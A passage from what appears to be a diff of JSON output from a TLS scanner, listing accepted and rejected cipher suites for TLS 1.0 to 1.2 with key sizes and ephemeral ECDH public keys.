"cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - } - ], - "tls_version_used": "TLS_1_0" - }, - "status": "COMPLETED" - }, - "tls_1_1_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "AES256-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "AES128-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DES-CBC3-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES256-SHA" - }, - "ephemeral_key": { - "curve_name": "secp384r1", - "generator": null, - "prime": null, - "public_bytes": "BGlqdKUxDQlZ/+h9z/c3BHjyzTbjcnvUIRbz3u/2Wbn0wThX/9Y4o3svkULL61Q7UnNTuXesisI/a5huMFC+5lnEvEs5U3qB9Du1BZKi+dBWv1GLZ40oVLCArBgVl+lduw==", - "size": 384, - "type_name": "ECDH", - "x": "aWp0pTENCVn/6H3P9zcEePLNNuNye9QhFvPe7/ZZufTBOFf/1jijey+RQsvrVDtS", - "y": "c1O5d6yKwj9rmG4wUL7mWcS8SzlTeoH0O7UFkqL50Fa/UYtnjShUsICsGBWX6V27" - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES128-SHA" - }, - "ephemeral_key": { - "curve_name": "prime256v1", - "generator": null, - "prime": null, - "public_bytes": "BCjA9c2oQbQmMKXdmPY5Cr1V5RDcJAax/05gSu5B76QHXqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=", - "size": 256, - "type_name": "ECDH", - "x": "KMD1zahBtCYwpd2Y9jkKvVXlENwkBrH/TmBK7kHvpAc=", - "y": "XqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=" - } - } - ], - "is_tls_version_supported": true, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_SHA", - "openssl_name": "RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_MD5", - "openssl_name": "RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA", - "openssl_name": "NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_MD5", - "openssl_name": "NULL-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_IDEA_CBC_SHA", - "openssl_name": "IDEA-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", - "openssl_name": "AECDH-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 0, - "name": "TLS_ECDH_anon_WITH_NULL_SHA", - "openssl_name": "AECDH-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "AECDH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "AECDH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "AECDH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_RSA_WITH_NULL_SHA", - "openssl_name": "ECDH-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDH-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", - "openssl_name": "ADH-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_RC4_128_MD5", - "openssl_name": "ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 56, - "name": "TLS_DH_anon_WITH_DES_CBC_SHA", - "openssl_name": "ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "ADH-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "ADH-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "ADH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "ADH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ADH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DH-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DH-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - } - ], - "tls_version_used": "TLS_1_1" - }, - "status": "COMPLETED" - }, - "tls_1_2_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "AES256-GCM-SHA384" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA256", - "openssl_name": "AES256-SHA256" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "AES256-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "AES128-GCM-SHA256" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "AES128-SHA256" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "AES128-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DES-CBC3-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "ECDHE-RSA-AES256-GCM-SHA384" - }, - "ephemeral_key": { - "curve_name": "secp384r1", - "generator": null, - "prime": null, - "public_bytes": "BGlqdKUxDQlZ/+h9z/c3BHjyzTbjcnvUIRbz3u/2Wbn0wThX/9Y4o3svkULL61Q7UnNTuXesisI/a5huMFC+5lnEvEs5U3qB9Du1BZKi+dBWv1GLZ40oVLCArBgVl+lduw==", - "size": 384, - "type_name": "ECDH", - "x": "aWp0pTENCVn/6H3P9zcEePLNNuNye9QhFvPe7/ZZufTBOFf/1jijey+RQsvrVDtS", - "y": "c1O5d6yKwj9rmG4wUL7mWcS8SzlTeoH0O7UFkqL50Fa/UYtnjShUsICsGBWX6V27" - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384", - "openssl_name": "ECDHE-RSA-AES256-SHA384" - }, - "ephemeral_key": { - "curve_name": "secp384r1", - "generator": null, - "prime": null, - "public_bytes": "BGlqdKUxDQlZ/+h9z/c3BHjyzTbjcnvUIRbz3u/2Wbn0wThX/9Y4o3svkULL61Q7UnNTuXesisI/a5huMFC+5lnEvEs5U3qB9Du1BZKi+dBWv1GLZ40oVLCArBgVl+lduw==", - "size": 384, - "type_name": "ECDH", - "x": "aWp0pTENCVn/6H3P9zcEePLNNuNye9QhFvPe7/ZZufTBOFf/1jijey+RQsvrVDtS", - "y": "c1O5d6yKwj9rmG4wUL7mWcS8SzlTeoH0O7UFkqL50Fa/UYtnjShUsICsGBWX6V27" - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES256-SHA" - }, - "ephemeral_key": { - "curve_name": "secp384r1", - "generator": null, - "prime": null, - "public_bytes": "BGlqdKUxDQlZ/+h9z/c3BHjyzTbjcnvUIRbz3u/2Wbn0wThX/9Y4o3svkULL61Q7UnNTuXesisI/a5huMFC+5lnEvEs5U3qB9Du1BZKi+dBWv1GLZ40oVLCArBgVl+lduw==", - "size": 384, - "type_name": "ECDH", - "x": "aWp0pTENCVn/6H3P9zcEePLNNuNye9QhFvPe7/ZZufTBOFf/1jijey+RQsvrVDtS", - "y": "c1O5d6yKwj9rmG4wUL7mWcS8SzlTeoH0O7UFkqL50Fa/UYtnjShUsICsGBWX6V27" - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "ECDHE-RSA-AES128-GCM-SHA256" - }, - "ephemeral_key": { - "curve_name": "prime256v1", - "generator": null, - "prime": null, - "public_bytes": "BCjA9c2oQbQmMKXdmPY5Cr1V5RDcJAax/05gSu5B76QHXqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=", - "size": 256, - "type_name": "ECDH", - "x": "KMD1zahBtCYwpd2Y9jkKvVXlENwkBrH/TmBK7kHvpAc=", - "y": "XqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=" - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "ECDHE-RSA-AES128-SHA256" - }, - "ephemeral_key": { - "curve_name": "prime256v1", - "generator": null, - "prime": null, - "public_bytes": "BCjA9c2oQbQmMKXdmPY5Cr1V5RDcJAax/05gSu5B76QHXqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=", - "size": 256, - "type_name": 